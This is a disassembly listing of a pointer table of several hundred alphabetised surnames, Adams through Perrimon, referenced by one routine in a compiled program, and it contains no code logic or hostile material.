dd offset aAdams ; "Adams"
off_42DCFC dd offset aAddison ; DATA XREF: sub_40B08E+39o
; "Addison"
dd offset aAdelstein ; "Adelstein"
dd offset aAdibe ; "Adibe"
dd offset aAdorno ; "Adorno"
dd offset aAhlers ; "Ahlers"
dd offset aAlavi ; "Alavi"
dd offset aAlcorn ; "Alcorn"
dd offset aAlda ; "Alda"
dd offset aAleks ; "Aleks"
dd offset aAllison ; "Allison"
dd offset aAlongi ; "Alongi"
dd offset aAltavilla ; "Altavilla"
dd offset aAltenberger ; "Altenberger"
dd offset aAltenhofen ; "Altenhofen"
dd offset aAmaral ; "Amaral"
dd offset aAmatangelo ; "Amatangelo"
dd offset aAmeer ; "Ameer"
dd offset aAmsden ; "Amsden"
dd offset aAnand ; "Anand"
dd offset aAndel ; "Andel"
dd offset aAndo ; "Ando"
dd offset aAndrelus ; "Andrelus"
dd offset aAndron ; "Andron"
dd offset aAnfinrud ; "Anfinrud"
dd offset aAnsley ; "Ansley"
dd offset aAnthony ; "Anthony"
dd offset aAntos ; "Antos"
dd offset aArbia ; "Arbia"
dd offset aArduini ; "Arduini"
dd offset aArellano ; "Arellano"
dd offset aAristotle ; "Aristotle"
dd offset aArjas ; "Arjas"
dd offset aArky ; "Arky"
dd offset aAtkins ; "Atkins"
dd offset aAugustus ; "Augustus"
dd offset aAurelius ; "Aurelius"
dd offset aAxelrod ; "Axelrod"
dd offset aAxworthy ; "Axworthy"
dd offset aAyiemba ; "Ayiemba"
dd offset aAykroyd ; "Aykroyd"
dd offset aAyling ; "Ayling"
dd offset aAzima ; "Azima"
dd offset aBachmuth ; "Bachmuth"
dd offset aBackus ; "Backus"
dd offset aBady ; "Bady"
dd offset aBaglivo ; "Baglivo"
dd offset aBagnold ; "Bagnold"
dd offset aBailar ; "Bailar"
dd offset aBakanowsky ; "Bakanowsky"
dd offset aBaleja ; "Baleja"
dd offset aBallatori ; "Ballatori"
dd offset aBallew ; "Ballew"
dd offset aBaltz ; "Baltz"
dd offset aBanta ; "Banta"
dd offset aBarabesi ; "Barabesi"
dd offset aBarajas ; "Barajas"
dd offset aBaranczak ; "Baranczak"
dd offset aBaranowska ; "Baranowska"
dd offset aBarberi ; "Barberi"
dd offset aBarbetti ; "Barbetti"
dd offset aBarneson ; "Barneson"
dd offset aBarnett ; "Barnett"
dd offset aBarriola ; "Barriola"
dd offset aBarry ; "Barry"
dd offset aBartholomew ; "Bartholomew"
dd offset aBartolome ; "Bartolome"
dd offset aBartoo ; "Bartoo"
dd offset aBasavappa ; "Basavappa"
dd offset aBashevis ; "Bashevis"
dd offset aBatchelder ; "Batchelder"
dd offset aBaumiller ; "Baumiller"
dd offset aBayles ; "Bayles"
dd offset aBayo ; "Bayo"
dd offset aBeacon ; "Beacon"
dd offset aBeal ; "Beal"
dd offset aBean ; "Bean"
dd offset aBeckman ; "Beckman"
dd offset aBeder ; "Beder"
dd offset aBedford ; "Bedford"
dd offset aBehenna ; "Behenna"
dd offset aBelanger ; "Belanger"
dd offset aBelaoussof ; "Belaoussof"
dd offset aBelfer ; "Belfer"
dd offset aBelinCollart ; "Belin-Collart"
dd offset aBellavance ; "Bellavance"
dd offset aBellhouse ; "Bellhouse"
dd offset aBellini ; "Bellini"
dd offset aBelloc ; "Belloc"
dd offset aBenedictDye ; "Benedict-Dye"
dd offset aBergson ; "Bergson"
dd offset aBerkeJenkins ; "Berke-Jenkins"
dd offset aBernardo ; "Bernardo"
dd offset aBernassola ; "Bernassola"
dd offset aBernston ; "Bernston"
dd offset aBerrizbeitia ; "Berrizbeitia"
dd offset aBetti ; "Betti"
dd offset aBeynart ; "Beynart"
dd offset aBiagioli ; "Biagioli"
dd offset aBickel ; "Bickel"
dd offset aBinion ; "Binion"
dd offset aBir ; "Bir"
dd offset aBisema ; "Bisema"
dd offset aBisho ; "Bisho"
dd offset aBlackbourn ; "Blackbourn"
dd offset aBlackwell ; "Blackwell"
dd offset aBlagg ; "Blagg"
dd offset aBlakemore ; "Blakemore"
dd offset aBlanke ; "Blanke"
dd offset aBliss ; "Bliss"
dd offset aBlizard ; "Blizard"
dd offset aBloch ; "Bloch"
dd offset aBloembergen ; "Bloembergen"
dd offset aBloemhof ; "Bloemhof"
dd offset aBloxham ; "Bloxham"
dd offset aBlyth ; "Blyth"
dd offset aBolger ; "Bolger"
dd offset aBolick ; "Bolick"
dd offset aBollinger ; "Bollinger"
dd offset aBologna ; "Bologna"
dd offset aBoner ; "Boner"
dd offset aBonham ; "Bonham"
dd offset aBoniface ; "Boniface"
dd offset aBontempo ; "Bontempo"
dd offset aBook ; "Book"
dd offset aBookbinder ; "Bookbinder"
dd offset aBoone ; "Boone"
dd offset aBoorstin ; "Boorstin"
dd offset aBorack ; "Borack"
dd offset aBorden ; "Borden"
dd offset aBossi ; "Bossi"
dd offset aBothman ; "Bothman"
dd offset aBotosh ; "Botosh"
dd offset aBoudin ; "Boudin"
dd offset aBoudrot ; "Boudrot"
dd offset aBourneuf ; "Bourneuf"
dd offset aBowers ; "Bowers"
dd offset aBoxer ; "Boxer"
dd offset aBoyajian ; "Boyajian"
dd offset aBoyes ; "Boyes"
dd offset aBoyland ; "Boyland"
dd offset aBoym ; "Boym"
dd offset aBoyne ; "Boyne"
dd offset aBracalente ; "Bracalente"
dd offset aBradac ; "Bradac"
dd offset aBradach ; "Bradach"
dd offset aBrecht ; "Brecht"
dd offset aBreed ; "Breed"
dd offset aBrenan ; "Brenan"
dd offset aBrennan ; "Brennan"
dd offset aBrewer ; "Brewer"
dd offset aBrewer ; "Brewer"
dd offset aBridgeman ; "Bridgeman"
dd offset aBridges ; "Bridges"
dd offset aBrinton ; "Brinton"
dd offset aBritz ; "Britz"
dd offset aBroca ; "Broca"
dd offset aBrook ; "Brook"
dd offset aBrzycki ; "Brzycki"
dd offset aBuchan ; "Buchan"
dd offset aBudding ; "Budding"
dd offset aBullard ; "Bullard"
dd offset aBunton ; "Bunton"
dd offset aBurden ; "Burden"
dd offset aBurdzy ; "Burdzy"
dd offset aBurke ; "Burke"
dd offset aBurridge ; "Burridge"
dd offset aBusetta ; "Busetta"
dd offset aByatt ; "Byatt"
dd offset aByerly ; "Byerly"
dd offset aByrd ; "Byrd"
dd offset aCage ; "Cage"
dd offset aCalnan ; "Calnan"
dd offset aCammelli ; "Cammelli"
dd offset aCammilleri ; "Cammilleri"
dd offset aCanley ; "Canley"
dd offset aCapanni ; "Capanni"
dd offset aCaperton ; "Caperton"
dd offset aCapocaccia ; "Capocaccia"
dd offset aCapodilupo ; "Capodilupo"
dd offset aCappuccio ; "Cappuccio"
dd offset aCapursi ; "Capursi"
dd offset aCaratozzolo ; "Caratozzolo"
dd offset aCarayannopoulo ; "Carayannopoulos"
dd offset aCarlin ; "Carlin"
dd offset aCarlos ; "Carlos"
dd offset aCarlyle ; "Carlyle"
dd offset aCarmichael ; "Carmichael"
dd offset aCaroti ; "Caroti"
dd offset aCarper ; "Carper"
dd offset aCartmill ; "Cartmill"
dd offset aCascio ; "Cascio"
dd offset aCase ; "Case"
dd offset aCaspar ; "Caspar"
dd offset aCastelda ; "Castelda"
dd offset aCavanagh ; "Cavanagh"
dd offset aCavell ; "Cavell"
dd offset aCeniceros ; "Ceniceros"
dd offset aCerioli ; "Cerioli"
dd offset aChapman ; "Chapman"
dd offset aCharles ; "Charles"
dd offset aCheang ; "Cheang"
dd offset aCherry ; "Cherry"
dd offset aChervinsky ; "Chervinsky"
dd offset aChiassino ; "Chiassino"
dd offset aChien ; "Chien"
dd offset aChildress ; "Childress"
dd offset aChilds ; "Childs"
dd offset aChinipardaz ; "Chinipardaz"
dd offset aChinman ; "Chinman"
dd offset aChristenson ; "Christenson"
dd offset aChristian ; "Christian"
dd offset aChristiano ; "Christiano"
dd offset aChristie ; "Christie"
dd offset aChristopher ; "Christopher"
dd offset aChu ; "Chu"
dd offset aChupasko ; "Chupasko"
dd offset aChurch ; "Church"
dd offset aCiampaglia ; "Ciampaglia"
dd offset aCicero ; "Cicero"
dd offset aCifarelli ; "Cifarelli"
dd offset aClaffey ; "Claffey"
dd offset aClancy ; "Clancy"
dd offset aClark ; "Clark"
dd offset aClement ; "Clement"
dd offset aClifton ; "Clifton"
dd offset aClow ; "Clow"
dd offset aCoblenz ; "Coblenz"
dd offset aCoito ; "Coito"
dd offset aColdren ; "Coldren"
dd offset aColella ; "Colella"
dd offset aCollard ; "Collard"
dd offset aCollis ; "Collis"
dd offset aCompton ; "Compton"
dd offset aCompton ; "Compton"
dd offset aComstock ; "Comstock"
dd offset aConcino ; "Concino"
dd offset aCondodina ; "Condodina"
dd offset aConnors ; "Connors"
dd offset aCorey ; "Corey"
dd offset aCornish ; "Cornish"
dd offset aCosmides ; "Cosmides"
dd offset aCounter ; "Counter"
dd offset aCoutaux ; "Coutaux"
dd offset aCrawford ; "Crawford"
dd offset aCrocker ; "Crocker"
dd offset aCroshaw ; "Croshaw"
dd offset aCroxen ; "Croxen"
dd offset aCroxton ; "Croxton"
dd offset aCui ; "Cui"
dd offset aCurrier ; "Currier"
dd offset aCutler ; "Cutler"
dd offset aCvek ; "Cvek"
dd offset aCyders ; "Cyders"
dd offset aDasilva ; "daSilva"
dd offset aDaldalian ; "Daldalian"
dd offset aDaly ; "Daly"
dd offset aDAmbra ; "D'Ambra"
dd offset aDanieli ; "Danieli"
dd offset aDante ; "Dante"
dd offset aDapice ; "Dapice"
dd offset aDArcangelo ; "D'arcangelo"
dd offset aDas ; "Das"
dd offset aDasgupta ; "Dasgupta"
dd offset aDaskalu ; "Daskalu"
dd offset aDavid ; "David"
dd offset aDawkins ; "Dawkins"
dd offset aDegennaro ; "DeGennaro"
dd offset aDelapena ; "DeLaPena"
dd offset aDelEnclos ; "del'Enclos"
dd offset aDerousse ; "deRousse"
dd offset aDebroff ; "Debroff"
dd offset aDees ; "Dees"
dd offset aDefeciani ; "Defeciani"
dd offset aDelattre ; "Delattre"
dd offset aDeleonRendon ; "Deleon-Rendon"
dd offset aDelger ; "Delger"
dd offset aDellAcqua ; "Dell'acqua"
dd offset aDeming ; "Deming"
dd offset aDempster ; "Dempster"
dd offset aDemusz ; "Demusz"
dd offset aDenault ; "Denault"
dd offset aDenham ; "Denham"
dd offset aDenison ; "Denison"
dd offset aDesombre ; "Desombre"
dd offset aDeutsch ; "Deutsch"
dd offset aDFini ; "D'fini"
dd offset aDicks ; "Dicks"
dd offset aDiefenbach ; "Diefenbach"
dd offset aDifabio ; "Difabio"
dd offset aDifronzo ; "Difronzo"
dd offset aDilworth ; "Dilworth"
dd offset aDionysius ; "Dionysius"
dd offset aDirksen ; "Dirksen"
dd offset aDockery ; "Dockery"
dd offset aDoherty ; "Doherty"
dd offset aDonahue ; "Donahue"
dd offset aDonner ; "Donner"
dd offset aDoonan ; "Doonan"
dd offset aDore ; "Dore"
dd offset aDorf ; "Dorf"
dd offset aDosi ; "Dosi"
dd offset aDoty ; "Doty"
dd offset aDoug ; "Doug"
dd offset aDowsland ; "Dowsland"
dd offset aDrinker ; "Drinker"
dd offset aDSouza ; "D'souza"
dd offset aDuffin ; "Duffin"
dd offset aDurrett ; "Durrett"
dd offset aDussault ; "Dussault"
dd offset aDwyer ; "Dwyer"
dd offset aEardley ; "Eardley"
dd offset aEbeling ; "Ebeling"
dd offset aEckel ; "Eckel"
dd offset aEdley ; "Edley"
dd offset aEdner ; "Edner"
dd offset aEdward ; "Edward"
dd offset aEickenhorst ; "Eickenhorst"
dd offset aEliasson ; "Eliasson"
dd offset aElmendorf ; "Elmendorf"
dd offset aElmerick ; "Elmerick"
dd offset aElvis ; "Elvis"
dd offset aEncinas ; "Encinas"
dd offset aEnyeart ; "Enyeart"
dd offset aEppling ; "Eppling"
dd offset aErbach ; "Erbach"
dd offset aErdman ; "Erdman"
dd offset aErdos ; "Erdos"
dd offset aErez ; "Erez"
dd offset aEspinoza ; "Espinoza"
dd offset aEstes ; "Estes"
dd offset aEtter ; "Etter"
dd offset aEuripides ; "Euripides"
dd offset aEverett ; "Everett"
dd offset aFabbris ; "Fabbris"
dd offset aFagan ; "Fagan"
dd offset aFaioes ; "Faioes"
dd offset aFalcoAcosta ; "Falco-Acosta"
dd offset aFalorsi ; "Falorsi"
dd offset aFaris ; "Faris"
dd offset aFarone ; "Farone"
dd offset aFarren ; "Farren"
dd offset aFasso ; "Fasso'"
dd offset aFates ; "Fates"
dd offset aFeigenbaum ; "Feigenbaum"
dd offset aFejzo ; "Fejzo"
dd offset aFeldman ; "Feldman"
dd offset aFernald ; "Fernald"
dd offset aFernandes ; "Fernandes"
dd offset aFerrante ; "Ferrante"
dd offset aFerriell ; "Ferriell"
dd offset aFeuer ; "Feuer"
dd offset aFido ; "Fido"
dd offset aField ; "Field"
dd offset aFink ; "Fink"
dd offset aFinkelstein ; "Finkelstein"
dd offset aFinnegan ; "Finnegan"
dd offset aFiorina ; "Fiorina"
dd offset aFisk ; "Fisk"
dd offset aFitzmaurice ; "Fitzmaurice"
dd offset aFlier ; "Flier"
dd offset aFlores ; "Flores"
dd offset aFolks ; "Folks"
dd offset aForester ; "Forester"
dd offset aFortes ; "Fortes"
dd offset aFortier ; "Fortier"
dd offset aFossey ; "Fossey"
dd offset aFossi ; "Fossi"
dd offset aFrancisco ; "Francisco"
dd offset aFranklinKenea ; "Franklin-Kenea"
dd offset aFranz ; "Franz"
dd offset aFrazierDavis ; "Frazier-Davis"
dd offset aFreid ; "Freid"
dd offset aFreundlich ; "Freundlich"
dd offset aFried ; "Fried"
dd offset aFriedland ; "Friedland"
dd offset aFrisken ; "Frisken"
dd offset aFrowiss ; "Frowiss"
dd offset aFryberger ; "Fryberger"
dd offset aFrye ; "Frye"
dd offset aFujiiAbe ; "Fujii-Abe"
dd offset aFuller ; "Fuller"
dd offset aFurth ; "Furth"
dd offset aFusaro ; "Fusaro"
dd offset aGabrielli ; "Gabrielli"
dd offset aGaggiotti ; "Gaggiotti"
dd offset aGaleotti ; "Galeotti"
dd offset aGalwey ; "Galwey"
dd offset aGambini ; "Gambini"
dd offset aGarfield ; "Garfield"
dd offset aGarman ; "Garman"
dd offset aGaronna ; "Garonna"
dd offset aGeller ; "Geller"
dd offset aGemberling ; "Gemberling"
dd offset aGeorgi ; "Georgi"
dd offset aGerrett ; "Gerrett"
dd offset aGhorai ; "Ghorai"
dd offset aGibbens ; "Gibbens"
dd offset aGibson ; "Gibson"
dd offset aGilbert ; "Gilbert"
dd offset aGili ; "Gili"
dd offset aGill ; "Gill"
dd offset aGillispie ; "Gillispie"
dd offset aGist ; "Gist"
dd offset aGleason ; "Gleason"
dd offset aGlegg ; "Glegg"
dd offset aGlendon ; "Glendon"
dd offset aGoldfarb ; "Goldfarb"
dd offset aGoncalves ; "Goncalves"
dd offset aGood ; "Good"
dd offset aGoodearl ; "Goodearl"
dd offset aGoody ; "Goody"
dd offset aGozzi ; "Gozzi"
dd offset aGravell ; "Gravell"
dd offset aGreenberg ; "Greenberg"
dd offset aGreenfeld ; "Greenfeld"
dd offset aGriffiths ; "Griffiths"
dd offset aGrigoletto ; "Grigoletto"
dd offset aGrummell ; "Grummell"
dd offset aGruner ; "Gruner"
dd offset aGruppe ; "Gruppe"
dd offset aGuenthart ; "Guenthart"
dd offset aGunn ; "Gunn"
dd offset aGuo ; "Guo"
dd offset aHa ; "Ha"
dd offset aHaar ; "Haar"
dd offset aHackman ; "Hackman"
dd offset aHackshaw ; "Hackshaw"
dd offset aHaley ; "Haley"
dd offset aHalkias ; "Halkias"
dd offset aHallowell ; "Hallowell"
dd offset aHalpert ; "Halpert"
dd offset aHambarzumjan ; "Hambarzumjan"
dd offset aHamer ; "Hamer"
dd offset aHammerness ; "Hammerness"
dd offset aHand ; "Hand"
dd offset aHanssen ; "Hanssen"
dd offset aHarding ; "Harding"
dd offset aHargraves ; "Hargraves"
dd offset aHarlow ; "Harlow"
dd offset aHarrigan ; "Harrigan"
dd offset aHartman ; "Hartman"
dd offset aHartmann ; "Hartmann"
dd offset aHartnett ; "Hartnett"
dd offset aHarwell ; "Harwell"
dd offset aHaviaras ; "Haviaras"
dd offset aHawkes ; "Hawkes"
dd offset aHayes ; "Hayes"
dd offset aHaynes ; "Haynes"
dd offset aHazlewood ; "Hazlewood"
dd offset aHeermans ; "Heermans"
dd offset aHeft ; "Heft"
dd offset aHeiland ; "Heiland"
dd offset aHellman ; "Hellman"
dd offset aHellmiss ; "Hellmiss"
dd offset aHelprin ; "Helprin"
dd offset aHemphill ; "Hemphill"
dd offset aHenery ; "Henery"
dd offset aHenrichs ; "Henrichs"
dd offset aHernandez ; "Hernandez"
dd offset aHerrera ; "Herrera"
dd offset aHester ; "Hester"
dd offset aHeubert ; "Heubert"
dd offset aHeyeck ; "Heyeck"
dd offset aHimmelfarb ; "Himmelfarb"
dd offset aHind ; "Hind"
dd offset aHirst ; "Hirst"
dd offset aHitchcock ; "Hitchcock"
dd offset aHoang ; "Hoang"
dd offset aHock ; "Hock"
dd offset aHoffer ; "Hoffer"
dd offset aHoffman ; "Hoffman"
dd offset aHokanson ; "Hokanson"
dd offset aHokoda ; "Hokoda"
dd offset aHolmes ; "Holmes"
dd offset aHoloien ; "Holoien"
dd offset aHolter ; "Holter"
dd offset aHolway ; "Holway"
dd offset aHolzman ; "Holzman"
dd offset aHooker ; "Hooker"
dd offset aHopkins ; "Hopkins"
dd offset aHorsley ; "Horsley"
dd offset aHoshida ; "Hoshida"
dd offset aHostage ; "Hostage"
dd offset aHottle ; "Hottle"
dd offset aHoward ; "Howard"
dd offset aHoy ; "Hoy"
dd offset aHuey ; "Huey"
dd offset aHuidekoper ; "Huidekoper"
dd offset aHungerford ; "Hungerford"
dd offset aHuntington ; "Huntington"
dd offset aHupp ; "Hupp"
dd offset aHurtubise ; "Hurtubise"
dd offset aHutchings ; "Hutchings"
dd offset aHyde ; "Hyde"
dd offset aIaquinta ; "Iaquinta"
dd offset aIchikawa ; "Ichikawa"
dd offset aIgarashi ; "Igarashi"
dd offset aInamura ; "Inamura"
dd offset aInniss ; "Inniss"
dd offset aIsaac ; "Isaac"
dd offset aIsaievych ; "Isaievych"
dd offset aIsbill ; "Isbill"
dd offset aIsserman ; "Isserman"
dd offset aIyer ; "Iyer"
dd offset aJacenko ; "Jacenko"
dd offset aJackson ; "Jackson"
dd offset aJagers ; "Jagers"
dd offset aJagger ; "Jagger"
dd offset aJagoe ; "Jagoe"
dd offset aJain ; "Jain"
dd offset aJamil ; "Jamil"
dd offset aJanjigian ; "Janjigian"
dd offset aJarnagin ; "Jarnagin"
dd offset aJarrell ; "Jarrell"
dd offset aJay ; "Jay"
dd offset aJeffers ; "Jeffers"
dd offset aJellis ; "Jellis"
dd offset aJenkins ; "Jenkins"
dd offset aJespersen ; "Jespersen"
dd offset aJewett ; "Jewett"
dd offset aJohannesson ; "Johannesson"
dd offset aJohannsen ; "Johannsen"
dd offset aJohns ; "Johns"
dd offset aJolly ; "Jolly"
dd offset aJorgensen ; "Jorgensen"
dd offset aJucks ; "Jucks"
dd offset aJuliano ; "Juliano"
dd offset aJulious ; "Julious"
dd offset aKabbash ; "Kabbash"
dd offset aKaboolian ; "Kaboolian"
dd offset aKafadar ; "Kafadar"
dd offset aKalbfleisch ; "Kalbfleisch"
dd offset aKaligian ; "Kaligian"
dd offset aKalil ; "Kalil"
dd offset aKalinowski ; "Kalinowski"
dd offset aKalman ; "Kalman"
dd offset aKamel ; "Kamel"
dd offset aKangis ; "Kangis"
dd offset aKarpouzes ; "Karpouzes"
dd offset aKassower ; "Kassower"
dd offset aKasten ; "Kasten"
dd offset aKawachi ; "Kawachi"
dd offset aKee ; "Kee"
dd offset aKeenan ; "Keenan"
dd offset aKeepper ; "Keepper"
dd offset aKeith ; "Keith"
dd offset aKelker ; "Kelker"
dd offset aKelsey ; "Kelsey"
dd offset aKempton ; "Kempton"
dd offset aKemsley ; "Kemsley"
dd offset aKendall ; "Kendall"
dd offset aKerry ; "Kerry"
dd offset aKeul ; "Keul"
dd offset aKhong ; "Khong"
dd offset aKimmel ; "Kimmel"
dd offset aKimmett ; "Kimmett"
dd offset aKimura ; "Kimura"
dd offset aKindall ; "Kindall"
dd offset aKinsley ; "Kinsley"
dd offset aKippenberger ; "Kippenberger"
dd offset aKirscht ; "Kirscht"
dd offset aKittridge ; "Kittridge"
dd offset aKleckner ; "Kleckner"
dd offset aKleiman ; "Kleiman"
dd offset aKleinfelder ; "Kleinfelder"
dd offset aKlemperer ; "Klemperer"
dd offset aKling ; "Kling"
dd offset aKlinkenborg ; "Klinkenborg"
dd offset aKlint ; "Klint"
dd offset aKnuff ; "Knuff"
dd offset aKobrick ; "Kobrick"
dd offset aKoch ; "Koch"
dd offset aKohn ; "Kohn"
dd offset aKoivumaki ; "Koivumaki"
dd offset aKommer ; "Kommer"
dd offset aKoniaris ; "Koniaris"
dd offset aKonrad ; "Konrad"
dd offset aKool ; "Kool"
dd offset aKorzybski ; "Korzybski"
dd offset aKotter ; "Kotter"
dd offset aKovaks ; "Kovaks"
dd offset aKraemer ; "Kraemer"
dd offset aKrailo ; "Krailo"
dd offset aKrasney ; "Krasney"
dd offset aKraus ; "Kraus"
dd offset aKroemer ; "Kroemer"
dd offset aKrysiak ; "Krysiak"
dd offset aKuenzli ; "Kuenzli"
dd offset aKumar ; "Kumar"
dd offset aKusman ; "Kusman"
dd offset aKuwabara ; "Kuwabara"
dd offset aLa ; "La"
dd offset aLabunka ; "Labunka"
dd offset aLafler ; "Lafler"
dd offset aLaing ; "Laing"
dd offset aLallemant ; "Lallemant"
dd offset aLandes ; "Landes"
dd offset aLankes ; "Lankes"
dd offset aLantieri ; "Lantieri"
dd offset aLanzit ; "Lanzit"
dd offset aLaserna ; "Laserna"
dd offset aLashley ; "Lashley"
dd offset aLawless ; "Lawless"
dd offset aLecar ; "Lecar"
dd offset aLecce ; "Lecce"
dd offset aLeclercq ; "Leclercq"
dd offset aLeite ; "Leite"
dd offset aLenard ; "Lenard"
dd offset aLEnclos ; "l'Enclos"
dd offset aLesser ; "Lesser"
dd offset aLessi ; "Lessi"
dd offset aLiakos ; "Liakos"
dd offset aLidano ; "Lidano"
dd offset aLiem ; "Liem"
dd offset aLight ; "Light"
dd offset aLightfoot ; "Lightfoot"
dd offset aLim ; "Lim"
dd offset aLinares ; "Linares"
dd offset aLinda ; "Linda"
dd offset aLinder ; "Linder"
dd offset aLine ; "Line"
dd offset aLinehan ; "Linehan"
dd offset aLinzee ; "Linzee"
dd offset aLippmann ; "Lippmann"
dd offset aLipponen ; "Lipponen"
dd offset aLittle ; "Little"
dd offset aLitvak ; "Litvak"
dd offset aLivernash ; "Livernash"
dd offset aLivi ; "Livi"
dd offset aLivolsi ; "Livolsi"
dd offset aLizardo ; "Lizardo"
dd offset aLocatelli ; "Locatelli"
dd offset aLongworth ; "Longworth"
dd offset aLoss ; "Loss"
dd offset aLoveman ; "Loveman"
dd offset aLowenstein ; "Lowenstein"
dd offset aLoza ; "Loza"
dd offset aLubin ; "Lubin"
dd offset aLucas ; "Lucas"
dd offset aLuciano ; "Luciano"
dd offset aLuczkow ; "Luczkow"
dd offset aLuecke ; "Luecke"
dd offset aLunetta ; "Lunetta"
dd offset aLuoma ; "Luoma"
dd offset aLussier ; "Lussier"
dd offset aLutcavage ; "Lutcavage"
dd offset aLuzader ; "Luzader"
dd offset aMa ; "Ma"
dd offset aMaccormac ; "Maccormac"
dd offset aMacdonald ; "Macdonald"
dd offset aMaceachern ; "Maceachern"
dd offset aMacintyre ; "Macintyre"
dd offset aMackenney ; "Mackenney"
dd offset aMacmillan ; "MacMillan"
dd offset aMacy ; "Macy"
dd offset aMadigan ; "Madigan"
dd offset aMaggio ; "Maggio"
dd offset aMahony ; "Mahony"
dd offset aMaier ; "Maier"
dd offset aMaineHershey ; "Maine-Hershey"
dd offset aMaisano ; "Maisano"
dd offset aMalatesta ; "Malatesta"
dd offset aMaller ; "Maller"
dd offset aMalova ; "Malova"
dd offset aManalis ; "Manalis"
dd offset aMandel ; "Mandel"
dd offset aManganiello ; "Manganiello"
dd offset aMantovan ; "Mantovan"
dd offset aMarch ; "March"
dd offset aMarchbanks ; "Marchbanks"
dd offset aMarcus ; "Marcus"
dd offset aMargalit ; "Margalit"
dd offset aMargetts ; "Margetts"
dd offset aMarques ; "Marques"
dd offset aMartinez ; "Martinez"
dd offset aMartochio ; "Martochio"
dd offset aMarton ; "Marton"
dd offset aMarubini ; "Marubini"
dd offset aMass ; "Mass"
dd offset aMatalka ; "Matalka"
dd offset aMatarazzo ; "Matarazzo"
dd offset aMatsukata ; "Matsukata"
dd offset aMattson ; "Mattson"
dd offset aMauzy ; "Mauzy"
dd offset aMay ; "May"
dd offset aMazzali ; "Mazzali"
dd offset aMazziotta ; "Mazziotta"
dd offset aMcbride ; "Mcbride"
dd offset aMccaffery ; "Mccaffery"
dd offset aMccall ; "Mccall"
dd offset aMcclearn ; "Mcclearn"
dd offset aMcdowell ; "Mcdowell"
dd offset aMcelroy ; "Mcelroy"
dd offset aMcfadden ; "McFadden"
dd offset aMcghee ; "Mcghee"
dd offset aMcgoldrick ; "Mcgoldrick"
dd offset aMcilroy ; "McIlroy"
dd offset aMcintosh ; "Mcintosh"
dd offset aMckenna ; "Mckenna"
dd offset aMclane ; "Mclane"
dd offset aMclaren ; "Mclaren"
dd offset aMcnealy ; "Mcnealy"
dd offset aMcnulty ; "Mcnulty"
dd offset aMeccariello ; "Meccariello"
dd offset aMemisoglu ; "Memisoglu"
dd offset aMenzies ; "Menzies"
dd offset aMerikoski ; "Merikoski"
dd offset aMerlani ; "Merlani"
dd offset aMerminod ; "Merminod"
dd offset aMerseth ; "Merseth"
dd offset aMerz ; "Merz"
dd offset aMetelka ; "Metelka"
dd offset aMetropolis ; "Metropolis"
dd offset aMeurer ; "Meurer"
dd offset aMichelman ; "Michelman"
dd offset aMiddle ; "Middle"
dd offset aMieher ; "Mieher"
dd offset aMills ; "Mills"
dd offset aMinh ; "Minh"
dd offset aMini ; "Mini"
dd offset aMinichiello ; "Minichiello"
dd offset aGonzalez ; "Gonzalez"
dd offset aMitropoulos ; "Mitropoulos"
dd offset aMittal ; "Mittal"
dd offset aMocroft ; "Mocroft"
dd offset aModestino ; "Modestino"
dd offset aMoeller ; "Moeller"
dd offset aMohr ; "Mohr"
dd offset aMoiamedi ; "Moiamedi"
dd offset aMonque ; "Monque"
dd offset aMontilio ; "Montilio"
dd offset aMooredech_ ; "MooreDeCh."
dd offset aMorani ; "Morani"
dd offset aMoreton ; "Moreton"
dd offset aMorrison ; "Morrison"
dd offset aMorrow ; "Morrow"
dd offset aMortimer ; "Mortimer"
dd offset aMosher ; "Mosher"
dd offset aMosler ; "Mosler"
dd offset aMostafavi ; "Mostafavi"
dd offset aMotooka ; "Motooka"
dd offset aMudarri ; "Mudarri"
dd offset aMuello ; "Muello"
dd offset aMugnai ; "Mugnai"
dd offset aMulkern ; "Mulkern"
dd offset aMulroy ; "Mulroy"
dd offset aMumford ; "Mumford"
dd offset aMussachio ; "Mussachio"
dd offset aNaddeo ; "Naddeo"
dd offset aNapolitano ; "Napolitano"
dd offset aNardi ; "Nardi"
dd offset aNardone ; "Nardone"
dd offset aNaviaux ; "Naviaux"
dd offset aNayduch ; "Nayduch"
dd offset aNelson ; "Nelson"
dd offset aNenna ; "Nenna"
dd offset aNesci ; "Nesci"
dd offset aNeuman ; "Neuman"
dd offset aNewfeld ; "Newfeld"
dd offset aNewlin ; "Newlin"
dd offset aNg ; "Ng"
dd offset aNi_0 ; "Ni"
dd offset aNickerson ; "Nickerson"
dd offset aNickoloff ; "Nickoloff"
dd offset aNisenson ; "Nisenson"
dd offset aNitabach ; "Nitabach"
dd offset aNotman ; "Notman"
dd offset aNuzum ; "Nuzum"
dd offset aOcougne ; "Ocougne"
dd offset aOgata ; "Ogata"
dd offset aOh ; "Oh"
dd offset aOHagan ; "O'hagan"
dd offset aOldford ; "Oldford"
dd offset aOlsen ; "Olsen"
dd offset aOlson ; "Olson"
dd offset aOlszewski ; "Olszewski"
dd offset aOMalley ; "O'malley"
dd offset aOman ; "Oman"
dd offset aOMeara ; "O'meara"
dd offset aOpel ; "Opel"
dd offset aOray ; "Oray"
dd offset aOrfield ; "Orfield"
dd offset aOrsi ; "Orsi"
dd offset aOspina ; "Ospina"
dd offset aOstrowski ; "Ostrowski"
dd offset aOttaviani ; "Ottaviani"
dd offset aOtten ; "Otten"
dd offset aOuchida ; "Ouchida"
dd offset aOvid ; "Ovid"
dd offset aPaesdealmeida ; "PaesDealmeida"
dd offset aPaine ; "Paine"
dd offset aPalayoor ; "Palayoor"
dd offset aPalepu ; "Palepu"
dd offset aPallara ; "Pallara"
dd offset aPalmitesta ; "Palmitesta"
dd offset aPanadero ; "Panadero"
dd offset aPanizzon ; "Panizzon"
dd offset aPantilla ; "Pantilla"
dd offset aPaoletti ; "Paoletti"
dd offset aParmeggiani ; "Parmeggiani"
dd offset aParris ; "Parris"
dd offset aPartridge ; "Partridge"
dd offset aPascucci ; "Pascucci"
dd offset aPatefield ; "Patefield"
dd offset aPatrick ; "Patrick"
dd offset aPattullo ; "Pattullo"
dd offset aPavetti ; "Pavetti"
dd offset aPavlon ; "Pavlon"
dd offset aPawloski ; "Pawloski"
dd offset aPaynter ; "Paynter"
dd offset aPeabody ; "Peabody"
dd offset aPearlberg ; "Pearlberg"
dd offset aPederson ; "Pederson"
dd offset aPeishel ; "Peishel"
dd offset aPenny ; "Penny"
dd offset aPereira ; "Pereira"
dd offset aPerko ; "Perko"
dd offset aPerlak ; "Perlak"
dd offset aPerlman ; "Perlman"
dd offset aPerna ; "Perna"
dd offset aPerone ; "Perone"
dd offset aPerrimon ; "Perrimon"
